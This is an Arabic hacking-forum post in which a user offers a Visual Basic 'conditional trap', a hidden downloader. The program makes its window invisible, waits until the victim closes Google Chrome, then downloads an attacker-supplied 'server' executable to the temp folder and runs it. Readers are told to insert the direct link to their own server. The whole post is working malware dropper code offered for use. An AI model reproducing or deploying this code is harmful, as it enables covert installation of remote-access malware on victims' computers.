1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
الكاتب : Dr.CN!ght | المشاهدات : 80 | الردود : 0
حالة الموضوع:
مغلق
  1. Dr.CN!ght موقوف لمخالفة الشروط

    الأنتساب:
    ‏12 سبتمبر 2015
    المشاركات:
    52
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    30
    نظام التشغيل:
    windows xp
    اللغة البرمجية:
    Visual Basic
    Facebook:
    السلام عليكم
    كيف الصحه اخواني
    اقدم لكم تلغيمه شرطية تعتمد على اغلاق قوقل كروم
    اذا المستخدم قام بأغلاق قوقل كروم سوف يتم تحميل السيرفر الخاص بك وتشغيله
    ما اطول عليكم
    اعمل مشروع جديد واضف فيه Timer
    واضغط ضغطتين على الفورم
    واضف هذا الكود
    كود:
    Public Class Form1
     
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            Me.ShowIcon = False
            Me.ShowInTaskbar = False
            Me.Opacity = 0%
            Timer1.Start()
        End Sub
     
        Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
            Dim name As String = Environ("UserName")
            Dim net As New Net.WebClient
            If My.Computer.FileSystem.FileExists("C:\Users\" + name + "\AppData\Local\Google\Chrome\User Data\chrome_shutdown_ms.txt") = True Then
                net.DownloadFile("url", Environ("tmp") & "/server.exe")
                Process.Start(Environ("tmp") & "/server.exe")
            End If
        End Sub
    End Class
    
    
    *=== تحديد كود ===*

    مع تبديل كلمة (url) ب الرابط المباشر للسيرفر الخاص بك
    في امان الله
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة